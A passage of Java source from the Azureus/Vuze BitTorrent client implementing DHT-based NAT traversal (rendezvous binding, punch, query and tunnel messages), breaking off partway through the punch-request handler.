/*
 * Created on 11-Aug-2005
 * Created by Paul Gardner
 * Copyright (C) Azureus Software, Inc, All Rights Reserved.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 */

package com.aelitis.azureus.core.dht.nat.impl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.security.KeyFactory;
import java.security.Signature;
import java.security.spec.RSAPublicKeySpec;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;

import org.gudy.azureus2.core3.util.AESemaphore;
import org.gudy.azureus2.core3.util.AEThread2;
import org.gudy.azureus2.core3.util.BDecoder;
import org.gudy.azureus2.core3.util.Debug;
import org.gudy.azureus2.core3.util.SHA1Simple;
import org.gudy.azureus2.core3.util.SimpleTimer;
import org.gudy.azureus2.core3.util.SystemTime;
import org.gudy.azureus2.core3.util.TimerEvent;
import org.gudy.azureus2.core3.util.TimerEventPerformer;
import org.gudy.azureus2.plugins.PluginInterface;
import org.gudy.azureus2.plugins.utils.Formatters;
import org.gudy.azureus2.plugins.utils.Monitor;
import org.gudy.azureus2.plugins.utils.Semaphore;
import org.gudy.azureus2.plugins.utils.UTTimer;
import org.gudy.azureus2.plugins.utils.UTTimerEvent;
import org.gudy.azureus2.plugins.utils.UTTimerEventPerformer;

import com.aelitis.azureus.core.dht.DHT;
import com.aelitis.azureus.core.dht.DHTLogger;
import com.aelitis.azureus.core.dht.DHTOperationAdapter;
import com.aelitis.azureus.core.dht.DHTOperationListener;
import com.aelitis.azureus.core.dht.nat.DHTNATPuncher;
import com.aelitis.azureus.core.dht.nat.DHTNATPuncherAdapter;
import com.aelitis.azureus.core.dht.nat.DHTNATPuncherListener;
import com.aelitis.azureus.core.dht.transport.DHTTransport;
import com.aelitis.azureus.core.dht.transport.DHTTransportContact;
import com.aelitis.azureus.core.dht.transport.DHTTransportException;
import com.aelitis.azureus.core.dht.transport.DHTTransportListener;
import com.aelitis.azureus.core.dht.transport.DHTTransportProgressListener;
import com.aelitis.azureus.core.dht.transport.DHTTransportReplyHandlerAdapter;
import com.aelitis.azureus.core.dht.transport.DHTTransportTransferHandler;
import com.aelitis.azureus.core.dht.transport.DHTTransportValue;
import com.aelitis.azureus.core.dht.transport.udp.DHTTransportUDP;
import com.aelitis.azureus.core.dht.transport.udp.DHTTransportUDPContact;
import com.aelitis.azureus.core.util.CopyOnWriteList;

public class DHTNATPuncherImpl implements DHTNATPuncher {
    private static boolean TESTING = false;
    private static boolean TRACE = false;

    static {
        if (TESTING) {
            System.out.println("**** DHTNATPuncher test on ****");
        }
        if (TRACE) {
            System.out.println("**** DHTNATPuncher trace on ****");
        }
    }

    private static final int RT_BIND_REQUEST = 0;
    private static final int RT_BIND_REPLY = 1;
    private static final int RT_PUNCH_REQUEST = 2;
    private static final int RT_PUNCH_REPLY = 3;
    private static final int RT_CONNECT_REQUEST = 4;
    private static final int RT_CONNECT_REPLY = 5;
    private static final int RT_TUNNEL_INBOUND = 6;
    private static final int RT_TUNNEL_OUTBOUND = 7;
    private static final int RT_QUERY_REQUEST = 8;
    private static final int RT_QUERY_REPLY = 9;
    private static final int RT_CLOSE_REQUEST = 10;
    private static final int RT_CLOSE_REPLY = 11;

    private static final int RESP_OK = 0;
    private static final int RESP_NOT_OK = 1;
    private static final int RESP_FAILED = 2;

    private static byte[] transfer_handler_key = new SHA1Simple().calculateHash("Aelitis:NATPuncher:TransferHandlerKey".getBytes());

    private boolean started;

    private DHTNATPuncherAdapter adapter;
    private DHT dht;
    private DHTLogger logger;
    private boolean is_secondary;

    private PluginInterface plugin_interface;
    private Formatters formatters;
    private UTTimer timer;

    private static final int REPUBLISH_TIME_MIN = 5 * 60 * 1000;
    private static final int TRANSFER_TIMEOUT = 30 * 1000;
    private static final int RENDEZVOUS_LOOKUP_TIMEOUT = 30 * 1000;
    private static final int TUNNEL_TIMEOUT = 3 * 1000;

    private static final int RENDEZVOUS_SERVER_MAX = 8;
    private static final int RENDEZVOUS_SERVER_TIMEOUT = 5 * 60 * 1000;
    private static final int RENDEZVOUS_CLIENT_PING_PERIOD = 50 * 1000; // some routers only hold tunnel for 60s
    private static final int RENDEZVOUS_PING_FAIL_LIMIT = 4; // if you make this < 2 change code below!

    private Monitor server_mon;
    private Map<String, BindingData> rendezvous_bindings = new HashMap<String, BindingData>();

    private CopyOnWriteList<DHTNATPuncherImpl> secondaries = new CopyOnWriteList<DHTNATPuncherImpl>();

    private boolean force_active;

    private long last_publish;

    private Monitor pub_mon;
    private boolean publish_in_progress;

    private volatile DHTTransportContact rendezvous_local_contact;
    private volatile DHTTransportContact rendezvous_target;
    private volatile DHTTransportContact last_ok_rendezvous;

    private final int[] MESSAGE_STATS = new int[12];

    private int punch_send_ok;
    private int punch_send_fail;
    private int punch_recv_ok;
    private int punch_recv_fail;

    private static final int FAILED_RENDEZVOUS_HISTORY_MAX = 16;

    private Map failed_rendezvous = new LinkedHashMap(FAILED_RENDEZVOUS_HISTORY_MAX, 0.75f, true) {
        protected boolean removeEldestEntry(Map.Entry eldest) {
            return size() > FAILED_RENDEZVOUS_HISTORY_MAX;
        }
    };

    private boolean rendezvous_running;

    private Map explicit_rendezvous_map = new HashMap();

    private Monitor punch_mon;
    private List oustanding_punches = new ArrayList();

    private DHTTransportContact current_local = null;
    private DHTTransportContact current_target = null;
    private int rendevzous_fail_count = 0;
    private long rendezvous_last_ok_time;
    private long rendezvous_last_fail_time;

    private volatile byte[] last_publish_key;
    private volatile List<DHTTransportContact> last_write_set;

    private CopyOnWriteList<DHTNATPuncherListener> listeners = new CopyOnWriteList<DHTNATPuncherListener>();

    private boolean suspended;

    public DHTNATPuncherImpl(DHTNATPuncherAdapter _adapter, DHT _dht) {
        this(_adapter, _dht, false);
    }

    private DHTNATPuncherImpl(DHTNATPuncherAdapter _adapter, DHT _dht, boolean _is_secondary) {
        adapter = _adapter;
        dht = _dht;
        is_secondary = _is_secondary;

        logger = dht.getLogger();

        plugin_interface = dht.getLogger().getPluginInterface();

        formatters = plugin_interface.getUtilities().getFormatters();
        pub_mon = plugin_interface.getUtilities().getMonitor();
        server_mon = plugin_interface.getUtilities().getMonitor();
        punch_mon = plugin_interface.getUtilities().getMonitor();

        timer = plugin_interface.getUtilities().createTimer("DHTNATPuncher:refresher", true);
    }

    public DHTNATPuncher getSecondaryPuncher() {
        if (is_secondary) {

            throw (new RuntimeException("Use a primary!"));
        }

        DHTNATPuncherImpl res = new DHTNATPuncherImpl(adapter, dht, true);

        boolean start_it = false;

        synchronized (secondaries) {

            if (started) {

                start_it = true;

            }

            secondaries.add(res);

            if (suspended) {

                res.setSuspended(true);
            }
        }

        if (start_it) {

            res.start();
        }

        return (res);
    }

    public void start() {
        List<DHTNATPuncherImpl> to_start = new ArrayList<DHTNATPuncherImpl>();

        synchronized (secondaries) {

            if (started) {

                return;
            }

            started = true;

            for (DHTNATPuncherImpl x : secondaries) {

                if (!x.started) {

                    to_start.add(x);
                }
            }
        }

        for (DHTNATPuncherImpl x : to_start) {

            x.start();
        }

        DHTTransport transport = dht.getTransport();

        transport.addListener(new DHTTransportListener() {
            public void localContactChanged(DHTTransportContact local_contact) {
                publish(false);
            }

            public void resetNetworkPositions() {
            }

            public void currentAddress(String address) {
            }

            public void reachabilityChanged(boolean reacheable) {
                publish(false);
            }
        });

        if (!is_secondary) {

            transport.registerTransferHandler(transfer_handler_key, new DHTTransportTransferHandler() {
                public String getName() {
                    return ("NAT Traversal");
                }

                public byte[] handleRead(DHTTransportContact originator, byte[] key) {
                    return (null);
                }

                public byte[] handleWrite(DHTTransportContact originator, byte[] key, byte[] value) {
                    DHTNATPuncherImpl owner = DHTNATPuncherImpl.this;

                    for (DHTNATPuncherImpl x : secondaries) {

                        DHTTransportContact ct = x.current_target;

                        if (ct != null && ct.getExternalAddress().equals(originator.getExternalAddress())) {

                            owner = x;
                        }
                    }

                    return (owner.receiveRequest((DHTTransportUDPContact) originator, value));
                }
            });

            timer.addPeriodicEvent(RENDEZVOUS_SERVER_TIMEOUT / 2, new UTTimerEventPerformer() {
                public void perform(UTTimerEvent event) {
                    if (suspended) {

                        return;
                    }

                    long now = SystemTime.getMonotonousTime();

                    try {
                        server_mon.enter();

                        Iterator<BindingData> it = rendezvous_bindings.values().iterator();

                        while (it.hasNext()) {

                            BindingData entry = it.next();

                            long time = entry.getBindTime();

                            boolean removed = false;

                            if (now - time > RENDEZVOUS_SERVER_TIMEOUT) {

                                // timeout

                                it.remove();

                                removed = true;
                            }

                            if (removed) {

                                log("Rendezvous " + entry.getContact().getString() + " removed due to inactivity");
                            }
                        }
                    } finally {

                        server_mon.exit();
                    }

                    Set<InetAddress> rends = new HashSet<InetAddress>();

                    DHTTransportContact ct = DHTNATPuncherImpl.this.current_target;

                    if (ct != null) {

                        rends.add(ct.getExternalAddress().getAddress());
                    }

                    for (DHTNATPuncherImpl x : secondaries) {

                        ct = x.current_target;

                        if (ct != null) {

                            InetAddress ia = ct.getExternalAddress().getAddress();

                            if (rends.contains(ia)) {

                                log("Duplicate secondary rendezvous: " + ct.getString() + ", re-binding");

                                x.rendezvousFailed(ct, true);

                            } else {

                                rends.add(ia);
                            }
                        }
                    }
                }
            });
        }

        timer.addPeriodicEvent(REPUBLISH_TIME_MIN, new UTTimerEventPerformer() {
            public void perform(UTTimerEvent event) {
                publish(false);
            }
        });

        publish(false);
    }

    public void setSuspended(boolean susp) {
        suspended = susp;

        synchronized (secondaries) {

            for (DHTNATPuncherImpl x : secondaries) {

                x.setSuspended(susp);
            }
        }

        if (!susp) {

            final DHTTransportContact current_contact = rendezvous_target;

            timer.addEvent(SystemTime.getCurrentTime() + 20 * 1000, new UTTimerEventPerformer() {
                public void perform(UTTimerEvent event) {
                    if (current_contact != null && current_contact == rendezvous_target) {

                        rendezvousFailed(current_contact, false);

                    } else {

                        publish(false);
                    }
                }
            });
        }
    }

    public boolean active() {
        return (rendezvous_local_contact != null);
    }

    public void forceActive(boolean force) {
        force_active = force;

        if (force) {

            publish(true);
        }
    }

    public boolean operational() {
        DHTTransportContact ok = last_ok_rendezvous;

        if (ok != null && ok == rendezvous_target) {

            return (true);
        }

        return (false);
    }

    public DHTTransportContact getLocalContact() {
        return (rendezvous_local_contact);
    }

    public DHTTransportContact getRendezvous() {
        DHTTransportContact ok = last_ok_rendezvous;

        if (ok != null && ok == rendezvous_target) {

            return (ok);
        }

        return (null);
    }

    protected void publish(final boolean force) {
        long now = SystemTime.getMonotonousTime();

        if (force || now - last_publish >= REPUBLISH_TIME_MIN) {

            last_publish = now;

            plugin_interface.getUtilities().createThread("DHTNATPuncher:publisher", new Runnable() {
                public void run() {
                    try {
                        pub_mon.enter();

                        if (suspended) {

                            return;
                        }

                        if (publish_in_progress) {

                            return;
                        }

                        publish_in_progress = true;

                    } finally {

                        pub_mon.exit();
                    }

                    try {
                        publishSupport();

                    } finally {

                        try {
                            pub_mon.enter();

                            publish_in_progress = false;

                        } finally {

                            pub_mon.exit();
                        }
                    }
                }
            });
        }
    }

    protected void publishSupport() {
        DHTTransport transport = dht.getTransport();

        if (TESTING || force_active || !transport.isReachable()) {

            DHTTransportContact local_contact = transport.getLocalContact();

            // see if the rendezvous has failed and therefore we are required to find a new one

            boolean force = rendezvous_target != null && failed_rendezvous.containsKey(rendezvous_target.getAddress());

            if (rendezvous_local_contact != null && !force) {

                if (local_contact.getAddress().equals(rendezvous_local_contact.getAddress())) {

                    // already running for the current local contact

                    return;
                }
            }

            DHTTransportContact explicit = (DHTTransportContact) explicit_rendezvous_map.get(local_contact.getAddress());

            if (explicit != null) {

                try {
                    pub_mon.enter();

                    rendezvous_local_contact = local_contact;
                    rendezvous_target = explicit;

                    runRendezvous();

                } finally {

                    pub_mon.exit();
                }
            } else {

                final DHTTransportContact[] new_rendezvous_target = { null };

                DHTTransportContact[] reachables = dht.getTransport().getReachableContacts();

                Collections.shuffle(Arrays.asList(reachables));

                int reachables_tried = 0;
                int reachables_skipped = 0;

                final Semaphore sem = plugin_interface.getUtilities().getSemaphore();

                for (int i = 0; i < reachables.length; i++) {

                    DHTTransportContact contact = reachables[i];

                    try {
                        pub_mon.enter();

                        // see if we've found a good one yet

                        if (new_rendezvous_target[0] != null) {

                            break;
                        }

                        // skip any known bad ones

                        if (failed_rendezvous.containsKey(contact.getAddress())) {

                            reachables_skipped++;

                            sem.release();

                            continue;
                        }
                    } finally {

                        pub_mon.exit();
                    }

                    if (i > 0) {

                        try {
                            Thread.sleep(1000);

                        } catch (Throwable e) {

                        }
                    }

                    reachables_tried++;

                    contact.sendPing(new DHTTransportReplyHandlerAdapter() {
                        public void pingReply(DHTTransportContact ok_contact) {
                            trace("Punch:" + ok_contact.getString() + " OK");

                            try {
                                pub_mon.enter();

                                if (new_rendezvous_target[0] == null) {

                                    new_rendezvous_target[0] = ok_contact;
                                }
                            } finally {

                                pub_mon.exit();

                                sem.release();
                            }
                        }

                        public void failed(DHTTransportContact failed_contact, Throwable e) {
                            try {
                                trace("Punch:" + failed_contact.getString() + " Failed");

                            } finally {

                                sem.release();
                            }
                        }
                    });
                }

                for (int i = 0; i < reachables.length; i++) {

                    sem.reserve();

                    try {
                        pub_mon.enter();

                        if (new_rendezvous_target[0] != null) {

                            rendezvous_target = new_rendezvous_target[0];
                            rendezvous_local_contact = local_contact;

                            log("Rendezvous found: " + rendezvous_local_contact.getString() + " -> " + rendezvous_target.getString());

                            runRendezvous();

                            break;
                        }
                    } finally {

                        pub_mon.exit();
                    }
                }

                if (new_rendezvous_target[0] == null) {

                    log("No rendezvous found: candidates=" + reachables.length + ",tried=" + reachables_tried + ",skipped=" + reachables_skipped);

                    try {
                        pub_mon.enter();

                        rendezvous_local_contact = null;
                        rendezvous_target = null;

                    } finally {

                        pub_mon.exit();
                    }
                }
            }
        } else {

            try {
                pub_mon.enter();

                rendezvous_local_contact = null;
                rendezvous_target = null;

            } finally {

                pub_mon.exit();
            }
        }
    }

    protected void runRendezvous() {
        try {
            pub_mon.enter();

            if (!rendezvous_running) {

                rendezvous_running = true;

                SimpleTimer.addPeriodicEvent("DHTNAT:cp", RENDEZVOUS_CLIENT_PING_PERIOD, new TimerEventPerformer() {
                    public void perform(TimerEvent ev) {
                        if (!suspended) {

                            runRendezvousSupport();
                        }
                    }
                });
            }
        } finally {

            pub_mon.exit();
        }
    }

    protected void runRendezvousSupport() {
        try {
            DHTTransportContact latest_local;
            DHTTransportContact latest_target;

            try {
                pub_mon.enter();

                latest_local = rendezvous_local_contact;
                latest_target = rendezvous_target;
            } finally {

                pub_mon.exit();
            }

            if (current_local != null || latest_local != null) {

                // one's not null, worthwhile further investigation

                if (current_local != latest_local) {

                    // local has changed, remove existing publish

                    if (current_local != null) {

                        if (!is_secondary) {

                            log("Removing publish for " + current_local.getString() + " -> " + current_target.getString());

                            dht.remove(getPublishKey(current_local), "DHTNatPuncher: removal of publish", new DHTOperationListener() {
                                public void searching(DHTTransportContact contact, int level, int active_searches) {
                                }

                                public void found(DHTTransportContact contact, boolean is_closest) {
                                }

                                public boolean diversified(String desc) {
                                    return (true);
                                }

                                public void read(DHTTransportContact contact, DHTTransportValue value) {
                                }

                                public void wrote(DHTTransportContact contact, DHTTransportValue value) {
                                }

                                public void complete(boolean timeout) {
                                }
                            });
                        }
                    }

                    if (latest_local != null) {

                        rendevzous_fail_count = RENDEZVOUS_PING_FAIL_LIMIT - 2; // only 2 attempts to start with

                        if (!is_secondary) {

                            log("Adding publish for " + latest_local.getString() + " -> " + latest_target.getString());

                            final byte[] publish_key = getPublishKey(latest_local);

                            dht.put(publish_key, "NAT Traversal: rendezvous publish", encodePublishValue(latest_target), DHT.FLAG_SINGLE_VALUE,
                                    new DHTOperationListener() {
                                        private List<DHTTransportContact> written_to = new ArrayList<DHTTransportContact>();

                                        public void searching(DHTTransportContact contact, int level, int active_searches) {
                                        }

                                        public void found(DHTTransportContact contact, boolean is_closest) {
                                        }

                                        public boolean diversified(String desc) {
                                            return (true);
                                        }

                                        public void read(DHTTransportContact contact, DHTTransportValue value) {
                                        }

                                        public void wrote(DHTTransportContact contact, DHTTransportValue value) {
                                            synchronized (written_to) {

                                                written_to.add(contact);
                                            }
                                        }

                                        public void complete(boolean timeout) {
                                            synchronized (written_to) {
                                                last_publish_key = publish_key;
                                                last_write_set = written_to;
                                            }
                                        }
                                    });
                        }
                    }
                } else if (current_target != latest_target) {

                    // here current_local == latest_local and neither is null!

                    // target changed, update publish

                    rendevzous_fail_count = RENDEZVOUS_PING_FAIL_LIMIT - 2; // only 2 attempts to start with

                    if (!is_secondary) {

                        log("Updating publish for " + latest_local.getString() + " -> " + latest_target.getString());

                        final byte[] publish_key = getPublishKey(latest_local);

                        dht.put(publish_key, "DHTNatPuncher: update publish", encodePublishValue(latest_target), DHT.FLAG_SINGLE_VALUE,
                                new DHTOperationListener() {
                                    private List<DHTTransportContact> written_to = new ArrayList<DHTTransportContact>();

                                    public void searching(DHTTransportContact contact, int level, int active_searches) {
                                    }

                                    public void found(DHTTransportContact contact, boolean is_closest) {
                                    }

                                    public boolean diversified(String desc) {
                                        return (true);
                                    }

                                    public void read(DHTTransportContact contact, DHTTransportValue value) {
                                    }

                                    public void wrote(DHTTransportContact contact, DHTTransportValue value) {
                                        synchronized (written_to) {

                                            written_to.add(contact);
                                        }
                                    }

                                    public void complete(boolean timeout) {
                                        synchronized (written_to) {
                                            last_publish_key = publish_key;
                                            last_write_set = written_to;
                                        }
                                    }
                                });
                    }
                }
            }

            current_local = latest_local;
            current_target = latest_target;

            if (current_target != null) {

                long now = SystemTime.getMonotonousTime();

                int bind_result = sendBind(current_target);

                if (bind_result == RESP_OK) {

                    trace("Rendezvous:" + current_target.getString() + " OK");

                    rendevzous_fail_count = 0;

                    rendezvous_last_ok_time = now;

                    if (last_ok_rendezvous != current_target) {

                        last_ok_rendezvous = current_target;

                        log("Rendezvous " + latest_target.getString() + " operational");

                        for (DHTNATPuncherListener l : listeners) {

                            l.rendezvousChanged(current_target);
                        }
                    }
                } else {

                    rendezvous_last_fail_time = now;

                    if (bind_result == RESP_NOT_OK) {

                        // denied access

                        rendevzous_fail_count = RENDEZVOUS_PING_FAIL_LIMIT;

                    } else {

                        rendevzous_fail_count++;
                    }

                    if (rendevzous_fail_count == RENDEZVOUS_PING_FAIL_LIMIT) {

                        rendezvousFailed(current_target, false);
                    }
                }
            }

        } catch (Throwable e) {

            log(e);

        }
    }

    protected void rendezvousFailed(DHTTransportContact current_target, boolean tidy) {
        log("Rendezvous " + (tidy ? "closed" : "failed") + ": " + current_target.getString());

        try {
            pub_mon.enter();

            failed_rendezvous.put(current_target.getAddress(), "");

        } finally {

            pub_mon.exit();
        }

        publish(true);
    }

    protected byte[] sendRequest(DHTTransportContact target, byte[] data, int timeout) {
        try {
            return (dht.getTransport().writeReadTransfer(new DHTTransportProgressListener() {
                public void reportSize(long size) {
                }

                public void reportActivity(String str) {
                }

                public void reportCompleteness(int percent) {
                }
            }, target, transfer_handler_key, data, timeout));

        } catch (DHTTransportException e) {

            // log(e); timeout most likely

            return (null);
        }
    }

    protected byte[] receiveRequest(DHTTransportUDPContact originator, byte[] data) {
        try {
            Map res = receiveRequest(originator, formatters.bDecode(data));

            if (res == null) {

                return (null);
            }

            return (formatters.bEncode(res));

        } catch (Throwable e) {

            log(e);

            return (null);
        }
    }

    protected Map sendRequest(DHTTransportContact target, Map data, int timeout) {
        int type = ((Long) data.get("type")).intValue();

        if (type >= 0 && type < MESSAGE_STATS.length) {

            MESSAGE_STATS[type]++;
        }

        try {
            byte[] res = sendRequest(target, formatters.bEncode(data), timeout);

            if (res == null) {

                return (null);
            }

            return (formatters.bDecode(res));

        } catch (Throwable e) {

            log(e);

            return (null);
        }
    }

    protected Map receiveRequest(DHTTransportUDPContact originator, Map data) {
        int type = ((Long) data.get("type")).intValue();

        if (type >= 0 && type < MESSAGE_STATS.length) {

            MESSAGE_STATS[type]++;
        }

        Map response = new HashMap();

        switch (type) {

            case RT_BIND_REQUEST: {
                response.put("type", new Long(RT_BIND_REPLY));

                receiveBind(originator, data, response);

                break;
            }
            case RT_CLOSE_REQUEST: {
                response.put("type", new Long(RT_CLOSE_REPLY));

                receiveClose(originator, data, response);

                break;
            }
            case RT_QUERY_REQUEST: {
                response.put("type", new Long(RT_QUERY_REPLY));

                receiveQuery(originator, data, response);

                break;
            }
            case RT_PUNCH_REQUEST: {
                response.put("type", new Long(RT_PUNCH_REPLY));

                receivePunch(originator, data, response);

                break;
            }
            case RT_CONNECT_REQUEST: {
                response.put("type", new Long(RT_CONNECT_REPLY));

                receiveConnect(originator, data, response);

                break;
            }
            case RT_TUNNEL_INBOUND: {
                receiveTunnelInbound(originator, data);

                response = null;

                break;
            }
            case RT_TUNNEL_OUTBOUND: {
                receiveTunnelOutbound(originator, data);

                response = null;

                break;
            }
            default: {
                response = null;

                break;
            }
        }

        Map debug = (Map) data.get("_debug");

        if (debug != null) {

            Map out = handleDebug(debug);

            if (out != null) {

                response.put("_debug", out);
            }
        }

        return (response);
    }

    protected boolean sendTunnelMessage(DHTTransportContact target, Map data) {
        try {
            return (sendTunnelMessage(target, formatters.bEncode(data)));

        } catch (Throwable e) {

            log(e);

            return (false);
        }
    }

    protected boolean sendTunnelMessage(DHTTransportContact target, byte[] data) {
        try {
            dht.getTransport().writeTransfer(new DHTTransportProgressListener() {
                public void reportSize(long size) {
                }

                public void reportActivity(String str) {
                }

                public void reportCompleteness(int percent) {
                }
            }, target, transfer_handler_key, new byte[0], data, TUNNEL_TIMEOUT);

            return (true);

        } catch (DHTTransportException e) {

            // log(e); timeout most likely

            return (false);
        }
    }

    protected int sendBind(DHTTransportContact target) {
        try {
            Map request = new HashMap();

            request.put("type", new Long(RT_BIND_REQUEST));

            Map response = sendRequest(target, request, TRANSFER_TIMEOUT);

            if (response == null) {

                return (RESP_FAILED);
            }

            if (((Long) response.get("type")).intValue() == RT_BIND_REPLY) {

                int result = ((Long) response.get("ok")).intValue();

                trace("received bind reply: " + (result == 0 ? "failed" : "ok"));

                if (result == 1) {

                    return (RESP_OK);
                }
            }

            return (RESP_NOT_OK);

        } catch (Throwable e) {

            log(e);

            return (RESP_FAILED);
        }
    }

    protected void receiveBind(DHTTransportUDPContact originator, Map request, Map response) {
        trace("received bind request from " + originator.getString());

        boolean ok = true;
        boolean log = true;

        if (is_secondary) {

            ok = false;

            log("Rendezvous request from " + originator.getString() + " denied as secondary puncher");

        } else {

            try {
                server_mon.enter();

                String key = originator.getAddress().toString();

                BindingData entry = rendezvous_bindings.get(key);

                if (entry == null) {

                    if (rendezvous_bindings.size() == RENDEZVOUS_SERVER_MAX) {

                        ok = false;
                    }
                } else {

                    if (entry.isOKToConnect()) {

                        // already present, no need to log again

                        log = false;

                    } else {

                        // looks like it is failing, tell it to go away

                        ok = false;
                    }
                }

                if (ok) {

                    long now = SystemTime.getMonotonousTime();

                    if (entry == null) {

                        rendezvous_bindings.put(key, new BindingData(originator, now));

                    } else {

                        entry.rebind();
                    }

                    response.put("port", new Long(originator.getAddress().getPort()));
                }
            } finally {

                server_mon.exit();
            }

            if (log) {

                log("Rendezvous request from " + originator.getString() + " " + (ok ? "accepted" : "denied"));
            }
        }

        response.put("ok", new Long(ok ? 1 : 0));
    }

    public void destroy() {
        try {
            server_mon.enter();

            Iterator<BindingData> it = rendezvous_bindings.values().iterator();

            while (it.hasNext()) {

                BindingData entry = it.next();

                final DHTTransportUDPContact contact = entry.getContact();

                new AEThread2("DHTNATPuncher:destroy", true) {
                    public void run() {
                        sendClose(contact);
                    }
                }.start();
            }

            byte[] lpk = last_publish_key;
            List<DHTTransportContact> lws = last_write_set;

            if (lpk != null && lws != null) {

                log("Removing publish on closedown");

                DHTTransportContact[] contacts = lws.toArray(new DHTTransportContact[lws.size()]);

                dht.remove(contacts, lpk, "NAT Puncher destroy", new DHTOperationAdapter());
            }

        } catch (Throwable e) {

            log(e);

        } finally {

            server_mon.exit();
        }
    }

    protected int sendClose(DHTTransportContact target) {
        try {
            Map request = new HashMap();

            request.put("type", new Long(RT_CLOSE_REQUEST));

            Map response = sendRequest(target, request, TRANSFER_TIMEOUT);

            if (response == null) {

                return (RESP_FAILED);
            }

            if (((Long) response.get("type")).intValue() == RT_CLOSE_REPLY) {

                int result = ((Long) response.get("ok")).intValue();

                trace("received close reply: " + (result == 0 ? "failed" : "ok"));

                if (result == 1) {

                    return (RESP_OK);
                }
            }

            return (RESP_NOT_OK);

        } catch (Throwable e) {

            log(e);

            return (RESP_FAILED);
        }
    }

    protected void receiveClose(DHTTransportUDPContact originator, Map request, Map response) {
        trace("received close request");

        final DHTTransportContact current_target = rendezvous_target;

        if (current_target != null && Arrays.equals(current_target.getID(), originator.getID())) {

            new AEThread2("DHTNATPuncher:close", true) {
                public void run() {
                    rendezvousFailed(current_target, true);
                }
            }.start();
        }

        response.put("ok", new Long(1));
    }

    /**
     * XXX: unused
     */
    private int sendQuery(DHTTransportContact target) {
        try {
            Map request = new HashMap();

            request.put("type", new Long(RT_QUERY_REQUEST));

            Map response = sendRequest(target, request, TRANSFER_TIMEOUT);

            if (response == null) {

                return (RESP_FAILED);
            }

            if (((Long) response.get("type")).intValue() == RT_QUERY_REPLY) {

                int result = ((Long) response.get("ok")).intValue();

                trace("received query reply: " + (result == 0 ? "failed" : "ok"));

                if (result == 1) {

                    return (RESP_OK);
                }
            }

            return (RESP_NOT_OK);

        } catch (Throwable e) {

            log(e);

            return (RESP_FAILED);
        }
    }

    protected void receiveQuery(DHTTransportUDPContact originator, Map request, Map response) {
        trace("received query request");

        InetSocketAddress address = originator.getTransportAddress();

        response.put("ip", address.getAddress().getHostAddress().getBytes());

        response.put("port", new Long(address.getPort()));

        response.put("ok", new Long(1));
    }

    protected Map sendPunch(DHTTransportContact rendezvous, final DHTTransportUDPContact target, Map originator_client_data, boolean no_tunnel) {
        AESemaphore wait_sem = new AESemaphore("DHTNatPuncher::sendPunch");
        Object[] wait_data = new Object[] { target, wait_sem, new Integer(0) };

        try {

            try {
                punch_mon.enter();

                oustanding_punches.add(wait_data);

            } finally {

                punch_mon.exit();
            }

            Map request = new HashMap();

            request.put("type", new Long(RT_PUNCH_REQUEST));

            request.put("target", target.getAddress().toString().getBytes());

            if (originator_client_data != null) {

                if (no_tunnel) {

                    originator_client_data.put("_notunnel", new Long(1));
                }

                request.put("client_data", originator_client_data);
            }

            // for a message payload (i.e. no_tunnel) we double the initiator timeout to give
            // more chance for reasonable size messages to get through as they have to go through
            // 2 xfer processes

            Map response = sendRequest(rendezvous, request, no_tunnel ? TRANSFER_TIMEOUT * 2 : TRANSFER_TIMEOUT);

            if (response == null) {

                return (null);
            }

            if (((Long) response.get("type")).intValue() == RT_PUNCH_REPLY) {

                int result = ((Long) response.get("ok")).intValue();

                trace("received " + (no_tunnel ? "message" : "punch") + " reply: " + (result == 0 ? "failed" : "ok"));

                if (result == 1) {

                    // pick up port changes from the rendezvous

                    Long indirect_port = (Long) response.get("port");

                    if (indirect_port != null) {

                        int transport_port = indirect_port.intValue();

                        if (transport_port != 0) {

                            InetSocketAddress existing_address = target.getTransportAddress();

                            if (transport_port != existing_address.getPort()) {

                                target.setTransportAddress(new InetSocketAddress(existing_address.getAddress(), transport_port));
                            }
                        }
                    }

                    if (!no_tunnel) {

                        // ping the target a few times to try and establish a tunnel

                        UTTimerEvent event = timer.addPeriodicEvent(3000, new UTTimerEventPerformer() {
                            private int pings = 1;

                            public void perform(UTTimerEvent event) {
                                if (pings > 3) {

                                    event.cancel();

                                    return;
                                }

                                pings++;

                                if (sendTunnelOutbound(target)) {

                                    event.cancel();
                                }
                            }
                        });

                        if (sendTunnelOutbound(target)) {

                            event.cancel();
                        }

                        // give the other end a few seconds to kick off some tunnel events to us

                        if (wait_sem.reserve(10000)) {

                            event.cancel();
                        }
                    }

                    // routers often fiddle with the port when not mapped so we need to grab the right one to use
                    // for direct communication

                    // first priority goes to direct tunnel messages received

                    int transport_port = 0;

                    try {
                        punch_mon.enter();

                        transport_port = ((Integer) wait_data[2]).intValue();

                    } finally {

                        punch_mon.exit();
                    }

                    if (transport_port != 0) {

                        InetSocketAddress existing_address = target.getTransportAddress();

                        if (transport_port != existing_address.getPort()) {

                            target.setTransportAddress(new InetSocketAddress(existing_address.getAddress(), transport_port));
                        }
                    }

                    Map target_client_data = (Map) response.get("client_data");

                    if (target_client_data == null) {

                        target_client_data = new HashMap();
                    }

                    return (target_client_data);
                }
            }

            return (null);

        } catch (Throwable e) {

            log(e);

            return (null);

        } finally {

            try {
                punch_mon.enter();

                oustanding_punches.remove(wait_data);

            } finally {

                punch_mon.exit();
            }
        }
    }

    protected void receivePunch(DHTTransportUDPContact originator, Map request, Map response) {
        trace("received punch request");

        boolean ok = false;

        String target_str = new String((byte[]) request.get("target"));

        BindingData entry;

        try {
            server_mon.enter();

            entry = rendezvous_bindings.get(target_str);

        } finally {

            server_mon.exit();
        }

        String extra_log = "";

        if (entry != null) {

